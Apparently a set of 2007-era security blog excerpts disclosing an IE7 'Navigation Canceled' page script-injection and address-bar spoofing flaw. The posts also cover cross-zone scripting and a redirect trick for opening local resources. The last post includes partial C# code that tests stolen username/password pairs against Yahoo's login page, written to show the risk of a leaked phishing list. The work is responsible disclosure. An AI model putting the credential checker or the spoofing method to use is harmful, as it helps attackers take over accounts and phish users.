When a navigation is canceled the URL of the specific page is provided to the navcancl.htm local resource after the # sign. For example: res://ieframe.dll/navcancl.htm#http://www.site.com.  The navcancl.htm page then generates a script in the “Refresh the page.” link in order to reload the provided site again when the user clicks on this link.
It is possible to inject a script in the provided link which will be executed when the user clicks on the “Refresh the page.” link.
Luckily, Internet Explorer now runs most of its local resources (including navcancl.htm) in “Internet Zone”, so this vulnerability cannot be exploited to conduct a remote code execution.

Unfortunately, there is also a design flaw in IE7. The browser automatically removes the URL path of the local resource and leaves only the provided URL. For example: when the user visits res://ieframe.dll/navcancl.htm#http://www.site.com, IE7 will show http://www.site.com in the address bar.

To perform a phishing attack, an attacker can create a specially crafted navcancl.htm local resource link with a script that will display a fake content of a trusted site (e.g. bank, paypal, MySpace).
When the victim will open the link that was sent by the attacker, a “Navigation Canceled” page will be displayed. The victim will think that there was an error in the site or some kind of a network error and will try to refresh the page. Once he will click on the “Refresh the page.” link, The attacker’s provided content (e.g. fake login page) will be displayed and the victim will think that he’s within the trusted site, because the address bar shows the trusted site’s URL.

Proof-of-Concept
A CNN.com article spoofing proof-of-concept can be found here.
If you are not using IE7, you can watch a demonstration video here.

Workaround / Suggestion
Until Microsoft fixes this vulnerability, do not trust the “Navigation Canceled” page!

 

Whether the vulnerability is cross-site scripting, cross-domain scripting or cross-zone scripting, sooner or later an attacker will need to inject a code in order to exploit it. The difference between each of these types is the context.

When we talk about a cross-site or cross-domain scripting vulnerabilities, we mean that an attacker can execute the injected code within the context of a different internet site or domain. However, when an attacker exploits a cross-zone scripting vulnerability, the context is now changed from an internet site to an intranet site, or even worse - pages in local zone.

Intranet sites and pages running in local zone are often and by default run with less security restrictions than internet sites. This means that if an attacker can execute his own code in intranet site or local zone, he will eventually be able to execute malicious code on the victim's machine.

A good example for the difference between those vulnerability types is the quicktime vulnerability that was found by pdp. When this vulnerability was exploited by the Myspace worm, this was a cross-site vulnerability. Only internet sites were involved, and it was used to steal MySpace accounts information. In MoAB#3, I've introduced a way to exploit this vulnerability in the context of local-zone. This means, that it is now a cross-zone scripting vulnerability, and an attacker can use quicktime to execute malicious code on the user's machine.
MoAB#3 also used another vulnerability found by hdm in one of the local resources of Win2k. As Internet Explorer restricts linking to local resources (res:// files), I used quicktime to do it.

Lately, I've found that it is possible to open a local resource in Internet Explorer without the need for any additional plug-in (like quicktime). By using a simple redirection header, an attacker can link and open a local resource and bypass Internet Explorer's restriction. I've tested this on IE6 SP2, IE7 and IE7 on Vista.
Now, this alone might not be a big issue, as Microsoft now runs most of the local resources in the Internet Zone, but it might be used to perform other types of cross-site scripting attacks.

 

Almost two weeks after I've sent the first mails, and after sending two more follow-up mails asking if there are any updates regarding this issue, I got only one more response - from Google.
Google's response was somewhat vague:

---

Hello,
Thanks for your report. We apologize for any inconvenience this may have caused.
When we are notified of such issues, we investigate and take appropriate action if we find that the Gmail Terms of Use have been violated. To read the Gmail Terms of Use, please visit:
http://mail.google.com/gmail/help/terms_of_use.html.
We appreciate your concern, and thank you for taking the time to send us your comments.
Sincerely,
The Google Team

---

From Gmail’s terms of use:  “…Before you register for your Gmail account, you must read and agree to these Gmail Terms of Use and the following terms and conditions and policies, including any future amendments…”.

I’m not an attorney and I didn’t go to any law school, but from what I can understand from the first line of the terms is that  these “terms of use” are only for Gmail registered users.  So, if an attacker will brute force the MySpace phishing list and will find a valid Gmail username/password and use it, he will not violate these terms because he hasn’t registered to that account and therefore he doesn’t need to read or agree to the terms. I’ve sent this comment to Google.

I'm still waiting for a respond from Yahoo and Microsoft.
Again, to demonstrate how easy it is to extract a valid username/password from the phishers list, the following is a modified version of the Gmail account validator. This time, for Yahoo! Mail:

// Returns 1 if valid username/password, 0 if invalid, -1 if unknown
private static int IsValidYahooMailLogin(string username, string password)
{
   HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create("https://login.yahoo.com/config/login?");
   request.CookieContainer = new CookieContainer();
   request.Method = "POST";
   request.Referer = "https://login.yahoo.com/config/login?";
   request.ContentType = "application/x-www-form-urlencoded";
   string data = ".tries=2&.src=ym&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&" +
".partner=&.u=chn9vfp2qnpl1&.v=0&.challenge=&.yplus=&.emailCode=&pkg=" +